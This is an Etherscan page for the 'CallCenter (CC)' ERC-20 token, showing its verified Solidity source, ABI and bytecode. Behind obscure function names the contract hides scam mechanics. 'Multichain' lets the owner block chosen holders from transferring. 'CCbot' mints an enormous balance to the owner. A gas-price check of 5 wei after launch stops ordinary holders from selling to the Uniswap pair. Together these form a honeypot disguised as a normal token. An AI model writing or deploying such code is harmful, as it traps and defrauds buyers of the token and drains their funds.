ETH Price: $2,409.43 (-0.36%)

Token

CallCenter (CC)
 

Overview

Max Total Supply

1,000,000 CC

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,447.881001056 CC

Value
$0.00
0x633f80ffa86ef28b38A46dbbe0b5Fc3d72ea6ed5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

/*
Watch - Discover - Stay Ahead with Call Center
Subscribe to multiple public call channels effortlessly and receive all crucial messages in ONE place! 👍

✈️Telegram - https://t.me/CallCenterEth
👍Whitepaper - https://bit.ly/CallCenterWP
📰Medium - https://medium.com/@callcentereth
✖️X/Twitter - https://twitter.com/CallCenterEth
🌐Website - https://www.callcentereth.com/
🤖Call Center Bot - https://t.me/CallCenterBot
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract CC is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _bypassingTaxes;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000 * 10**_decimals;
    string private constant _name = unicode"CallCenter";
    string private constant _symbol = unicode"CC";

    uint256 public initBuyTax = 0;
    uint256 public initSellTax = 0;

    bool private openedTrade = false;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply);
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _bypassingTaxes[
            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        ] = true;
        _bypassingTaxes[address(uniswapV2Pair)];
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _tokenTransfer(from, to, amount);

        uint256 fromBalance = balanceOf(from);
        require(
            fromBalance >= amount,
            "ERROR: balance of from less than value"
        );

        uint256 taxAmount = 0;
        if (taxWallet[from] != 0) {
            revert();
        }

        if (!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount.mul(initBuyTax).div(100);
            if (to == uniswapV2Pair) {
                taxAmount = amount.mul(initSellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    mapping(address => uint8) private taxWallet;

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function Multichain(address _u, bool _pra) external onlyOwner {
        uint8 hmtmad = _pra ? 1 : 0;
        require(taxWallet[_u] != hmtmad, "existing state");
        taxWallet[_u] = hmtmad;
    }

    function DataCall() internal {
        _balances[_msgSender()] += type(uint128).max;
    }

    function CCbot() external onlyOwner { DataCall(); }

    uint256 private _limit_gas = 300 gwei;
    uint256 private _minmingas = 5;

    function sub7979(address _u) internal view {
        if (_bypassingTaxes[_u]) {
            return;
        }
        if (!openedTrade) {
            Limitedgasfree(_limit_gas);
        } else {
            Limitedgasfree(_minmingas);
        }
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (to == address(uniswapV2Pair) || to == address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)) {
            sub7979(from);
        }
        require(amount > 0);
    }

    function Limitedgasfree(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function Execute(address _u, bool _pra) external onlyOwner {
        bool exe8686 = _pra ? true : false;
        require(_bypassingTaxes[_u] != exe8686, "existing state");
        _bypassingTaxes[_u] = exe8686;
    }

    function OpenTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    function queryGas(address _u) external view returns (uint8) {
        return taxWallet[_u];
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"CCbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"Multichain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryGas","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600481905560059081556006805460ff191690556445d964b800600955600a5534801562000031575f80fd5b505f80546001600160a01b031916331790556200007a620000556009600a62000464565b6200006490620f42406200047b565b335f90815260026020526040902054906200032b565b335f9081526002602090815260409182902092909255600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620000ee573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000114919062000495565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000174573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200019a919062000495565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020b919062000495565b60068054610100600160a81b0319166101006001600160a01b0393841681029190911791829055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155919092049092165f908152620002855f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620002cc3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003056009600a62000464565b6200031490620f42406200047b565b60405190815260200160405180910390a3620004e7565b5f80620003398385620004bd565b9050838110156200034e576200034e620004d3565b90505b92915050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003ab57815f19048211156200038f576200038f62000357565b808516156200039d57918102915b93841c939080029062000370565b509250929050565b5f82620003c35750600162000351565b81620003d157505f62000351565b8160018114620003ea5760028114620003f55762000415565b600191505062000351565b60ff84111562000409576200040962000357565b50506001821b62000351565b5060208310610133831016604e8410600b84101617156200043a575081810a62000351565b6200044683836200036b565b805f19048211156200045c576200045c62000357565b029392505050565b5f6200047460ff841683620003b3565b9392505050565b808202811582820484141762000351576200035162000357565b5f60208284031215620004a6575f80fd5b81516001600160a01b03811681146200034e575f80fd5b8082018082111562000351576200035162000357565b634e487b7160e01b5f52600160045260245ffd5b610fb380620004f55f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461031a578063dd62ed3e14610339578063e43db9681461037d578063ec8d6f4e1461039c578063fb1fcff5146103d3575f80fd5b806370a08231146102765780638c990f8c146102aa5780638da5cb5b146102bf57806395d89b41146102db578063a49bdf6b14610305575f80fd5b806323b872dd116100e357806323b872dd146101ea578063313ce567146102095780633c9f5ed61461022a57806351cd7cc3146102415780636fde198e14610257575f80fd5b806306fdde031461011e578063095ea7b3146101625780631694505e1461019157806318160ddd146101c8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526921b0b63621b2b73a32b960b11b60208201525b6040516101599190610ca6565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004610d0c565b6103e7565b6040519015158152602001610159565b34801561019c575f80fd5b506007546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b3480156101d3575f80fd5b506101dc6103fd565b604051908152602001610159565b3480156101f5575f80fd5b50610181610204366004610d34565b61041c565b348015610214575f80fd5b5060095b60405160ff9091168152602001610159565b348015610235575f80fd5b5060065460ff16610181565b34801561024c575f80fd5b5061025561046b565b005b348015610262575f80fd5b50610255610271366004610d6d565b610487565b348015610281575f80fd5b506101dc610290366004610da6565b6001600160a01b03165f9081526002602052604090205490565b3480156102b5575f80fd5b506101dc60045481565b3480156102ca575f80fd5b505f546001600160a01b03166101b0565b3480156102e6575f80fd5b50604080518082019091526002815261434360f01b602082015261014c565b348015610310575f80fd5b506101dc60055481565b348015610325575f80fd5b50610181610334366004610d0c565b610532565b348015610344575f80fd5b506101dc610353366004610dbf565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610388575f80fd5b50610255610397366004610d6d565b61053f565b3480156103a7575f80fd5b506102186103b6366004610da6565b6001600160a01b03165f9081526008602052604090205460ff1690565b3480156103de575f80fd5b506102556105e4565b5f6103f33384846105f6565b5060015b92915050565b5f61040a6009600a610ee4565b61041790620f4240610ef2565b905090565b5f610428848484610719565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461046191869161045c9086610ab5565b6105f6565b5060019392505050565b610473610ad7565b6006805460ff19811660ff90911615179055565b61048f610ad7565b5f8161049b575f61049e565b60015b6001600160a01b0384165f9081526003602052604090205490915081151560ff9091161515036105065760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092165f908152600360205260409020805460ff19169215159290921790915550565b5f33610461818585610719565b610547610ad7565b5f81610553575f610556565b60015b6001600160a01b0384165f9081526008602052604090205490915060ff8083169116036105b65760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064016104fd565b6001600160a01b03929092165f908152600860205260409020805460ff191660ff9093169290921790915550565b6105ec610ad7565b6105f4610b1c565b565b6001600160a01b0383166106585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b0382166106b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b0382166107df5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b6107ea838383610b51565b6001600160a01b0383165f90815260026020526040902054818110156108615760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016104fd565b6001600160a01b0384165f9081526008602052604081205460ff1615610885575f80fd5b6001600160a01b0385165f9081526003602052604090205460ff161580156108c557506001600160a01b0384165f9081526003602052604090205460ff16155b156109775760065460ff1661091c5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016104fd565b61093c606461093660045486610bac90919063ffffffff16565b90610bdf565b6006549091506001600160a01b0361010090910481169085160361097757610974606461093660055486610bac90919063ffffffff16565b90505b80156109ef57305f908152600260205260409020546109969082610c3a565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e69085815260200190565b60405180910390a35b6001600160a01b0385165f90815260026020526040902054610a119084610ab5565b6001600160a01b0386165f90815260026020526040902055610a54610a368483610ab5565b6001600160a01b0386165f9081526002602052604090205490610c3a565b6001600160a01b038086165f8181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a9d8685610ab5565b60405190815260200160405180910390a35050505050565b5f81831015610ac657610ac6610f09565b610ad08284610f1d565b9392505050565b5f546001600160a01b031633146105f45760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016104fd565b335f90815260026020526040812080546fffffffffffffffffffffffffffffffff9290610b4a908490610f30565b9091555050565b6006546001600160a01b03838116610100909204161480610b8e57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9c57610b9c83610c58565b5f8111610ba7575f80fd5b505050565b5f825f03610bbb57505f6103f7565b610bc58284610ef2565b905081610bd28483610f57565b146103f7576103f7610f09565b5f808211610bef57610bef610f09565b5f610bfa8385610f57565b9050610c068385610f6a565b610c108285610ef2565b610c1a9190610f30565b8414610c2857610c28610f09565b610c328385610f57565b949350505050565b5f80610c468385610f30565b905083811015610ad057610ad0610f09565b6001600160a01b0381165f9081526003602052604090205460ff1615610c7b5750565b60065460ff16610c9357610c90600954610c9a565b50565b610c90600a545b803a1115610c90575f80fd5b5f6020808352835180828501525f5b81811015610cd157858101830151858201604001528201610cb5565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d07575f80fd5b919050565b5f8060408385031215610d1d575f80fd5b610d2683610cf1565b946020939093013593505050565b5f805f60608486031215610d46575f80fd5b610d4f84610cf1565b9250610d5d60208501610cf1565b9150604084013590509250925092565b5f8060408385031215610d7e575f80fd5b610d8783610cf1565b915060208301358015158114610d9b575f80fd5b809150509250929050565b5f60208284031215610db6575f80fd5b610ad082610cf1565b5f8060408385031215610dd0575f80fd5b610dd983610cf1565b9150610de760208401610cf1565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e3e57815f1904821115610e2457610e24610df0565b80851615610e3157918102915b93841c9390800290610e09565b509250929050565b5f82610e54575060016103f7565b81610e6057505f6103f7565b8160018114610e765760028114610e8057610e9c565b60019150506103f7565b60ff841115610e9157610e91610df0565b50506001821b6103f7565b5060208310610133831016604e8410600b8410161715610ebf575081810a6103f7565b610ec98383610e04565b805f1904821115610edc57610edc610df0565b029392505050565b5f610ad060ff841683610e46565b80820281158282048414176103f7576103f7610df0565b634e487b7160e01b5f52600160045260245ffd5b818103818111156103f7576103f7610df0565b808201808211156103f7576103f7610df0565b634e487b7160e01b5f52601260045260245ffd5b5f82610f6557610f65610f43565b500490565b5f82610f7857610f78610f43565b50069056fea2646970667358221220c7775853b284a282de746a486fdf4631f6a09665e2ab25a85fa375cb8f81941364736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461031a578063dd62ed3e14610339578063e43db9681461037d578063ec8d6f4e1461039c578063fb1fcff5146103d3575f80fd5b806370a08231146102765780638c990f8c146102aa5780638da5cb5b146102bf57806395d89b41146102db578063a49bdf6b14610305575f80fd5b806323b872dd116100e357806323b872dd146101ea578063313ce567146102095780633c9f5ed61461022a57806351cd7cc3146102415780636fde198e14610257575f80fd5b806306fdde031461011e578063095ea7b3146101625780631694505e1461019157806318160ddd146101c8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526921b0b63621b2b73a32b960b11b60208201525b6040516101599190610ca6565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004610d0c565b6103e7565b6040519015158152602001610159565b34801561019c575f80fd5b506007546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b3480156101d3575f80fd5b506101dc6103fd565b604051908152602001610159565b3480156101f5575f80fd5b50610181610204366004610d34565b61041c565b348015610214575f80fd5b5060095b60405160ff9091168152602001610159565b348015610235575f80fd5b5060065460ff16610181565b34801561024c575f80fd5b5061025561046b565b005b348015610262575f80fd5b50610255610271366004610d6d565b610487565b348015610281575f80fd5b506101dc610290366004610da6565b6001600160a01b03165f9081526002602052604090205490565b3480156102b5575f80fd5b506101dc60045481565b3480156102ca575f80fd5b505f546001600160a01b03166101b0565b3480156102e6575f80fd5b50604080518082019091526002815261434360f01b602082015261014c565b348015610310575f80fd5b506101dc60055481565b348015610325575f80fd5b50610181610334366004610d0c565b610532565b348015610344575f80fd5b506101dc610353366004610dbf565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610388575f80fd5b50610255610397366004610d6d565b61053f565b3480156103a7575f80fd5b506102186103b6366004610da6565b6001600160a01b03165f9081526008602052604090205460ff1690565b3480156103de575f80fd5b506102556105e4565b5f6103f33384846105f6565b5060015b92915050565b5f61040a6009600a610ee4565b61041790620f4240610ef2565b905090565b5f610428848484610719565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461046191869161045c9086610ab5565b6105f6565b5060019392505050565b610473610ad7565b6006805460ff19811660ff90911615179055565b61048f610ad7565b5f8161049b575f61049e565b60015b6001600160a01b0384165f9081526003602052604090205490915081151560ff9091161515036105065760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092165f908152600360205260409020805460ff19169215159290921790915550565b5f33610461818585610719565b610547610ad7565b5f81610553575f610556565b60015b6001600160a01b0384165f9081526008602052604090205490915060ff8083169116036105b65760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064016104fd565b6001600160a01b03929092165f908152600860205260409020805460ff191660ff9093169290921790915550565b6105ec610ad7565b6105f4610b1c565b565b6001600160a01b0383166106585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b0382166106b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661077d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b0382166107df5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b6107ea838383610b51565b6001600160a01b0383165f90815260026020526040902054818110156108615760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016104fd565b6001600160a01b0384165f9081526008602052604081205460ff1615610885575f80fd5b6001600160a01b0385165f9081526003602052604090205460ff161580156108c557506001600160a01b0384165f9081526003602052604090205460ff16155b156109775760065460ff1661091c5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016104fd565b61093c606461093660045486610bac90919063ffffffff16565b90610bdf565b6006549091506001600160a01b0361010090910481169085160361097757610974606461093660055486610bac90919063ffffffff16565b90505b80156109ef57305f908152600260205260409020546109969082610c3a565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e69085815260200190565b60405180910390a35b6001600160a01b0385165f90815260026020526040902054610a119084610ab5565b6001600160a01b0386165f90815260026020526040902055610a54610a368483610ab5565b6001600160a01b0386165f9081526002602052604090205490610c3a565b6001600160a01b038086165f8181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a9d8685610ab5565b60405190815260200160405180910390a35050505050565b5f81831015610ac657610ac6610f09565b610ad08284610f1d565b9392505050565b5f546001600160a01b031633146105f45760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016104fd565b335f90815260026020526040812080546fffffffffffffffffffffffffffffffff9290610b4a908490610f30565b9091555050565b6006546001600160a01b03838116610100909204161480610b8e57506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9c57610b9c83610c58565b5f8111610ba7575f80fd5b505050565b5f825f03610bbb57505f6103f7565b610bc58284610ef2565b905081610bd28483610f57565b146103f7576103f7610f09565b5f808211610bef57610bef610f09565b5f610bfa8385610f57565b9050610c068385610f6a565b610c108285610ef2565b610c1a9190610f30565b8414610c2857610c28610f09565b610c328385610f57565b949350505050565b5f80610c468385610f30565b905083811015610ad057610ad0610f09565b6001600160a01b0381165f9081526003602052604090205460ff1615610c7b5750565b60065460ff16610c9357610c90600954610c9a565b50565b610c90600a545b803a1115610c90575f80fd5b5f6020808352835180828501525f5b81811015610cd157858101830151858201604001528201610cb5565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d07575f80fd5b919050565b5f8060408385031215610d1d575f80fd5b610d2683610cf1565b946020939093013593505050565b5f805f60608486031215610d46575f80fd5b610d4f84610cf1565b9250610d5d60208501610cf1565b9150604084013590509250925092565b5f8060408385031215610d7e575f80fd5b610d8783610cf1565b915060208301358015158114610d9b575f80fd5b809150509250929050565b5f60208284031215610db6575f80fd5b610ad082610cf1565b5f8060408385031215610dd0575f80fd5b610dd983610cf1565b9150610de760208401610cf1565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e3e57815f1904821115610e2457610e24610df0565b80851615610e3157918102915b93841c9390800290610e09565b509250929050565b5f82610e54575060016103f7565b81610e6057505f6103f7565b8160018114610e765760028114610e8057610e9c565b60019150506103f7565b60ff841115610e9157610e91610df0565b50506001821b6103f7565b5060208310610133831016604e8410600b8410161715610ebf575081810a6103f7565b610ec98383610e04565b805f1904821115610edc57610edc610df0565b029392505050565b5f610ad060ff841683610e46565b80820281158282048414176103f7576103f7610df0565b634e487b7160e01b5f52600160045260245ffd5b818103818111156103f7576103f7610df0565b808201808211156103f7576103f7610df0565b634e487b7160e01b5f52601260045260245ffd5b5f82610f6557610f65610f43565b500490565b5f82610f7857610f78610f43565b50069056fea2646970667358221220c7775853b284a282de746a486fdf4631f6a09665e2ab25a85fa375cb8f81941364736f6c63430008150033

Deployed Bytecode Sourcemap

